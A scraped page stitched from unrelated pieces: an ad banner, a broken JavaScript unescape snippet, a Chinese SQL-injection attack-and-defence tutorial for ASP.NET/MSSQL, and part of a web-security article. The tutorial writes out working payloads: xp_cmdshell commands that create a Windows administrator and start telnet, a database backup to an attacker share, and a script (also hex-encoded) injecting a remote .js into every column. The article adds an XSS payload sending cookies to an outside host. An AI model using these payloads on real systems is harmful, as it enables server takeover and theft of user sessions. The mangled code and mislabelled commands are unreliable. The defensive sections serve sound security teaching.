整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          碎片時間學編程「112]:轉義 HTML


          轉義的 HTML 字符進行轉義。

          • 使用String.prototype.replace()方法與匹配需要轉義的字符的正則表達式一起使用。
          • 使用函數的回調,使用字典(對象)將每個轉義字符實例替換為其關聯的非轉義字符。

          JavaScript

          const unescapeHTML = str =>
            str.replace(
              /&|<|>|'|"/g,
              tag =>
                ({
                  '&': '&',
                  '<': '<',
                  '>': '>',
                  ''': "'",
                  '"': '"'
                }[tag] || tag)
            );

          示例代碼:

          unescapeHTML('<a href="#">Me & you</a>');
          // '<a href="#">Me & you</a>'

          更多內容請訪問我的網站:https://www.icoderoad.com

          業開始從事winform到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種借口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。

          (對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什么好經驗,為避免后知后覺地犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)


          下面的程序方案是采用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。

          示例程序下載:SQL注入攻防入門詳解_示例


          什么是SQL注入(SQL Injection)

          所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。


          嘗嘗SQL注入

          1. 一個簡單的登錄頁面

          關鍵代碼:(詳細見下載的示例代碼)


          private bool NoProtectLogin(string userName, string password)

          {

          int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format

          ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

          return count > 0 ? true : false;

          }


          方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(賬戶:admin 123456)


          1) 輸入正常數據,效果如圖:

          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'


          2) 輸入注入數據:

          如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入

          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

          因為UserName值中輸入了“--”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上'; ' (分號,用于結束前一條語句),后邊加上'--' (用于注釋后邊的語句))


          2. 上面是最簡單的一種SQL注入,常見的注入語句還有:

          1) 猜測數據庫名,備份數據庫

          a) 猜測數據庫名: and db_name() >0 或系統表master.dbo.sysdatabases

          b) 備份數據庫:;backup database 數據庫名 to disk = ‘c:\*.db’;--

          或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

          2) 猜解字段名稱

          a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常

          b) 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可以得到所有的字段名稱。

          3) 遍歷系統的目錄結構,分析結構并發現WEB虛擬目錄(服務器上傳木馬)

          先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

          a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中

          ;insert temp exec master.dbo.xp_availablemedia;--

          b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

          ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

          c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中

          ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)

          d) 利用 bcp 命令將表內容導成文件

          即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)

          Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

          (注意:語句中使用的是雙引號,另外表名格式為“數據庫名.用戶名.表名”)

          在sql查詢器中通過語句:Exec master..xp_cmdshell N'BCP’即可查看BCP相關參數,如圖:

          4) 查詢當前用戶的數據庫權限

          MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當前用戶是否具有該權限。

          5) 設置新的數據庫帳戶(得到MSSQL管理員賬戶)

          d) 在數據庫內添加一個hax用戶,默認密碼是空的

          ;exec sp_addlogin'hax';--

          e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)

          ;exec master.dbo.sp_password null,password,username;--

          f) 將hax添加到sysadmin組

          ;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

          6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )

          通過(5)獲取到sysadmin權限的帳戶后,使用查詢分析器連接到數據庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什么自己多了解下。

          下面我們使用xp_cmdshell來創建一個 Windows 用戶,并開啟遠程登錄服務:

          a) 判斷xp_cmdshell擴展存儲過程是否存在

          SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

          b) 恢復xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

          開啟后使用xp_cmdshell還會報下面錯誤:

          SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關啟用'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

          通過執行下面的語句進行設置:

          -- 允許配置高級選項

          EXEC sp_configure 'show advanced options', 1

          GO

          -- 重新配置

          RECONFIGURE

          GO

          -- 啟用xp_cmdshell

          EXEC sp_configure 'xp_cmdshell', 0

          GO

          --重新配置

          RECONFIGURE

          GO

          c) 禁用xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

          d) 添加windows用戶:

          Exec xp_cmdshell 'net user awen /add';

          e) 設置好密碼:

          Exec xp_cmdshell 'net user awen password';

          f) 提升到管理人員:

          Exec xp_cmdshell 'net localgroup administrators awen /add';

          g) 開啟telnet服務:

          Exec xp_cmdshell 'net start tlntsvr'

          7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.

          (本人windows7系統,測試下面SQL語句木有效果)

          declare @shell int ;

          execsp_OAcreate 'w script .shell',@shell output ;

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

          在使用的時候會報如下錯:

          SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

          解決辦法:

          sp_configure 'show advanced options', 1;

          GO

          RECONFIGURE;

          GO

          sp_configure 'Ole Automation Procedures', 1;

          GO

          RECONFIGURE;

          GO

          好了,這樣別人可以登錄你的服務器了,你怎么看?

          8) 客戶端腳本攻擊

          攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數據庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。

          措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。


          攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數據庫中,直接使用SQL語法UPDATE數據庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過“HEX編碼”,然后通過exec可以執行“動態”SQL的特性運行腳本”。

          參考:

          注入:SQL注入案例曝光,請大家提高警惕

          恢復:批量清除數據庫中被植入的js

          示例代碼:(可在示例附帶的數據庫測試)

          a) 向當前數據庫的每個表的每個字段插入一段惡意腳本


          1

          2

          3

          4

          5

          6

          7

          8

          9

          10

          11

          12

          13

          Declare @T Varchar(255),@C Varchar(255)

          Declare Table_Cursor Cursor For

          Select A.Name,B.Name

          From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

          Open Table_Cursor

          Fetch Next From Table_Cursor Into @T,@C

          While(@@Fetch_Status=0)

          Begin

          Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

          Fetch Next From Table_Cursor Into @T,@C

          End

          Close Table_Cursor

          DeallocateTable_Cursor


          b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行


          dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

          eXeC(@s);--


          c) 批次刪除數據庫被注入的腳本


          declare @delStrnvarchar(500)

          set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替換掉字符

          setnocount on

          declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint

          declare @sqlnvarchar(500)

          set @iResult=0

          declare cur cursor for

          selectname,id from sysobjects where xtype='U'

          open cur

          fetch next from cur into @tableName,@tbID

          while @@fetch_status=0

          begin

          declare cur1 cursor for

          --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型

          select name from syscolumns where xtype in (231,167,239,175) and id=@tbID

          open cur1

          fetch next from cur1 into @columnName

          while @@fetch_status=0

          begin

          set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''

          execsp_executesql @sql

          set @iRow=@@rowcount

          set @iResult=@iResult+@iRow

          if @iRow>0

          begin

          print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;'

          end

          fetch next from cur1 into @columnName

          end

          close cur1

          deallocate cur1

          fetch next from cur into @tableName,@tbID

          end

          print '數據庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!'

          close cur

          deallocate cur

          setnocount off


          d) 我如何得到“HEX編碼”?

          開始不知道HEX是什么東西,后面查了是“十六進制”,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )

          ? 在線轉換 (TRANSLATOR, BINARY),進入……

          ? C#版的轉換,進入……

          9) 對于敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入

          比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:


          declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


          防止SQL注入

          1. 數據庫權限控制,只給訪問數據庫的web應用功能所需的最低權限帳戶。

          如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。

          在 ASP.NET 中,可通過web.config配置文件的<customErrors>節點設置:


          <customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">

          <error. . ./>

          </customErrors>


          更詳細,請進入……

          mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。


          On

          指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。


          Off

          指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。


          RemoteOnly

          指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示ASP.NET 錯誤。這是默認值。


          看下效果圖:

          設置為<customErrors mode="On">一般性錯誤:


          設置為<customErrors mode="Off">:


          3. 把危險的和不必要的存儲過程刪除

          xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。


          xp_cmdshell

          能執行dos命令,通過語句sp_dropextendedproc刪除,

          不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

          xpsql70.dll(sqlserer 7.0)


          xp_fileexist

          用來確定一個文件是否存在


          xp_getfiledetails

          可以獲得文件詳細資料


          xp_dirtree

          可以展開你需要了解的目錄,獲得所有目錄深度


          Xp_getnetname

          可以獲得服務器名稱


          Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regread

          Xp_regremovemultistring

          Xp_regwrite

          可以訪問注冊表的存儲過程


          Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你不需要請丟棄OLE自動存儲過程


          4. 非參數化SQL與參數化SQL

          1) 非參數化(動態拼接SQL)

          a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。

          b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。

          c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。

          d) 使用枚舉:如果只有有限的幾個值,就用枚舉。

          e) 關鍵字過濾:這個門檻比較高,因為各個數據庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!

          這邊提供一個關鍵字過濾參考方案(MSSQL):


          public static bool ValiParms(string parms)

          {

          if (parms == null)

          {

          return false;

          }

          Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);

          Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);

          Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);

          Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);

          Regex regex5 = new Regex("\"", RegexOptions.IgnoreCase);

          Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);

          Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);

          Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);

          Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);

          Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);

          Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);

          return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

          }


          優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小

          缺點:

          a) 對于關鍵字過濾,常?!邦櫞耸П恕?,如漏掉關鍵字,系統函數,對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數據庫封裝函數。

          b) 無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。

          c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。

          2) 參數化查詢(Parameterized Query)

          a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數據的有效性。

          b) 參數化查詢原理:在使用參數化查詢的情況下,數據庫服務器不會將參數的內容視為SQL指令的一部份來處理,而是在數據庫完成 SQL 指令的編譯后,才套用參數運行,因此就算參數中含有具有損的指令,也不會被數據庫所運行。

          c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最后一道安全防線。

          優點:

          ? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

          ? 參數化查詢能強制執行類型和長度檢查。

          ? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)

          缺點:

          ? 不是所有數據庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數據庫支持參數化查詢。


          疑問:參數化如何“批量更新”數據庫。

          a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。

          EG:



          StringBuilder sqlBuilder=new StringBuilder(512);

          Int count=0;

          For(循環)

          {

          sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());

          SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

          ……

          Count++;

          }


          b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……


          疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低于因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。


          另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法



          --清空緩存的查詢計劃

          DBCC FREEPROCCACHE

          GO

          --查詢緩存的查詢計劃

          SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]

          FROM sys.dm_exec_cached_plans p

          OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

          JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle

          GO


          3) 參數化查詢示例

          效果如圖:

          參數化關鍵代碼:



          Private bool ProtectLogin(string userName, string password)

          {

          SqlParameter[] parameters = new SqlParameter[]

          {

          new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

          new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

          };

          int count = (int)SqlHelper.Instance.ExecuteScalar

          ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

          return count > 0 ? true : false;

          }


          5. 存儲過程

          存儲過程(Stored Procedure)是在大型數據庫系統中,一組為了完成特定功能的SQL 語句集,經編譯后存儲在數據庫中,用戶通過指定存儲過程的名字并給出參數(如果該存儲過程帶有參數)來執行它。

          優點:

          a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。

          b) 在創建時進行預編譯,后續的調用不需再重新編譯。

          c) 可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

          缺點:

          a) 非應用程序內聯代碼,調式麻煩。

          b) 修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程序)

          c) 如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最后如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。

          演示請下載示例程序,關鍵代碼為:


          cmd.CommandText = procName; // 傳遞存儲過程名

          cmd.CommandType = CommandType.StoredProcedure; // 標識解析為存儲過程


          如果在存儲過程中SQL語法很復雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?

          答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。

          關鍵代碼:(詳細見示例)

          a) sp_executesql



          CREATE PROCEDURE PROC_Login_executesql(

          @userNamenvarchar(10),

          @password nvarchar(10),

          @count int OUTPUT

          )

          AS

          BEGIN

          DECLARE @s nvarchar(1000);

          set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

          EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

          END


          b) EXECUTE(注意sql中拼接字符,對于字符參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)



          CREATE PROCEDURE PROC_Login_EXEC(

          @userNamenvarchar(10),

          @password varchar(20)

          )

          AS

          BEGIN

          DECLARE @s nvarchar(1000);

          set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

          EXEC('DECLARE @count int;' +@s+'select @count');

          END


          注入截圖如下:



          6. 專業的SQL注入工具及防毒軟件

          情景1

          A:“丫的,又中毒了……”

          B:“我看看,你這不是裸機在跑嗎?”

          電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。


          情景2

          A:“終于把網站做好了,太完美了,已經檢查過沒有漏洞了!”

          A:“網站怎么被黑了,怎么入侵的???”

          公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。SQL注入工具介紹:10個SQL注入工具


          7. 額外小知識:LIKE中的通配符

          盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

          參考:SQL中通配符的使用


          %

          包含零個或多個字符的任意字符串。


          _

          任何單個字符。


          []

          指定范圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。


          [^]

          不在指定范圍(例如 [^a - f])或集合(例如 [^abcdef])內的任何單個字符。


          在模糊查詢LIKE中,對于輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

          注意使用通配符的索引性能問題:

          a) like的第一個字符是'%'或'_'時,為未知字符不會使用索引, sql會遍歷全表。

          b) 若通配符放在已知字符后面,會使用索引。

          網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的數據庫中會使用到索引吧……

          截圖如下:

          有兩種將通配符轉義為普通字符的方法:

          1) 使用ESCAPE關鍵字定義轉義符(通用)

          在模式中,當轉義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:

          WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

          2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號 (-) 而不是用它指定搜索范圍,請將破折號指定為方括號內的第一個字符。EG:


          符號

          含義


          LIKE '5[%]'

          5%


          LIKE '5%'

          5 后跟 0 個或多個字符的字符串


          LIKE '[_]n'

          _n


          LIKE '_n'

          an, in, on (and so on)


          LIKE '[a-cdf]'

          a、b、c、d 或 f


          LIKE '[-acdf]'

          -、a、c、d 或 f


          LIKE '[ [ ]'

          [


          LIKE ']'

          ] (右括號不需要轉義)


          所以,進行過輸入參數的關鍵字過濾后,還需要做下面轉換確保LIKE的正確執行



          private static string ConvertSqlForLike(string sql)

          {

          sql = sql.Replace("[", "[[]"); // 這句話一定要在下面兩個語句之前,否則作為轉義符的方括號會被當作數據被再次處理

          sql = sql.Replace("_", "[_]");

          sql = sql.Replace("%", "[%]");

          return sql;

          }


          結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經入門了……


          參考文獻:

          SQL注入天書

          (百度百科)SQL注入

          擴展資料:

          Sql Server 編譯、重編譯與執行計劃重用原理

          淺析Sql Server參數化查詢-----驗證了參數的類型和長度對參數化查詢影響

          Sql Server參數化查詢之where in和like實現詳解

          -----講述6種參數化實現方案

          webshell -----不當小白,你必須認識的專業術語。一個用于站長管理,入侵者入侵的好工具

          SQL注入技術和跨站腳本攻擊的檢測 -----講解使用正則表達式檢測注入

          XSS(百度百科) -------惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。

          XSS攻擊實例 -------基本思路:我們都知道網上很多網站都可以“記住你的用戶名和密碼”或是“自動登錄”,其實是在你的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動登錄”的狀態下,如果你運行了一個程序,這個程序訪問“自動登錄”這個網站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和服務器上的程序通話。

          Web安全測試之XSS

          Web API 入門指南 - 閑話安全

          中間人攻擊(MITM)姿勢總結

          淺談WEB安全性(前端向)

          文作者:上海駐云開發總監 陳昂

          上篇給大家帶來的是關于瀏覽器基本工作原理的總結和介紹,這篇文章重點給大家說明有哪些常見WEB攻擊。

          常見WEB攻擊

          互聯網是個面向全世界的開放平臺,越是開放的東西漏洞就越是多。有人曾維護了一個列表,上面有上百種的WEB攻擊方式。我們常見的有:腳本注入、SQL注入、DDoS、DNS劫持、端口漏洞掃描、密碼暴力破解、XSS、CSRF等。這里只挑一些常見的攻擊做個介紹:

          • SQL注入

          現在的網站很多都不再是純粹的靜態網站,例如一些CMS網站、交易網站、p2p/p2c網站、大型的系統等。 這些網站都選擇PHP、.Net、 Java、 ROR、 Python、NodeJS等編程語言搭建網站的后臺,也會選擇Mysql、 Oracle、SQL Server等數據庫來存儲數據。SQL注入就是針對的這樣的網站發起的攻擊。假如有一個列表頁面,請求URL是這樣的:https://xxx.xxx/list.php?q=finished

          通過這個url可以獲取這個用戶列表下面所有已經完成的訂單。那么我們可以猜想這樣的頁面后端對應的程序是這樣寫的:$sql = ‘select * from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;

          語句本身沒有什么問題,后面加上了過濾條件userId只能獲取這個用戶自己的訂單??墒牵绻覀冞@樣發起請求:https://xxx.xxx/list.php?q=finished‘--

          最終拼接后的語句可能就變成了這個樣子:select * from orders where status=‘finished’—and userId=’xxxx’;

          由于“—”在數據庫里面起到的注釋作用,所以“and userId=’xxxx’” 這個過濾條件是不會起作用的。這個語句執行的效果就是黑客獲取了這個網站所有已經完成的訂單數據。

          這里只是舉一個簡單的例子,關于Sql注入,有興趣的朋友可以google一把。

          防范sql注入其實也很簡單:

          1. 做好參數檢驗。

          2. sql傳參的地方一定要做sql escape,對sql敏感字符進行轉義。

          3. 不要直接拼接字符串。

          • 腳本注入

          腳本注入只是個表現形式,例如你的網頁中出現了一段莫名的腳本:<script src=”http://hacker.test/hack.js”></script>,這就是一個典型的腳本注入。但是注入的方式就有很多了,有的是直接獲取了服務器的權限,修改了網頁;有的是利用Sql注入技術注入了腳本;還有的是利用網頁交互漏洞注入的腳本。甚至有人開發出了腳本注入漏洞掃描和Sql漏洞注入掃描自動機掃描互聯網上的網站漏洞。

          利用腳本注入這樣的方式,黑客可以做很多很多事情:掛馬,修改頁面內容,將客戶跳轉到指定的網站,流量導入,信息收集等。

          • XSS跨站腳本攻擊

          嚴格來說XSS應該屬于腳本注入的一種方式,只是因為XSS這種方式可以快速輕易的注入腳本而使得它非常流行。舉個簡單的例子:

          有一個網站支持評論和回復,有人在評論框內輸入了這么一段腳本:

          <script>

          var i = document.createElement(‘img’);

          i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);

          document.body.appendChild(i);

          </script>

          提交后,當別人打開這個頁面查看這個評論的時候,攻擊的網站就獲取到了這個人所有cookie信息(包括session id),然后在通過腳本加載cookie后進行所有被攻擊者所具有權限的操作。

          防范腳本注入和XSS攻擊我們應該做到基本工作是:

          1. 服務器只開放必要的端口:如80、443、22等

          2. 參數校驗

          3. 頁面提交的內容一定要做HTML Escape 轉義

          4. URL上提交的內容要做URL Encode 轉義

          5. 登錄注冊入口做好人機識別(驗證碼等)

          • CSRF跨站請求偽造

          很多人對XSS和CSRF是傻傻分不清楚的。首先常見的XSS攻擊的對象是網站本身,通過注入網頁的方式,獲取用戶信息。而CSRF就非常聰明了,直接繞過了注入這一步,甚至黑客不需要獲取用戶的Cookie信息,直奔主題。

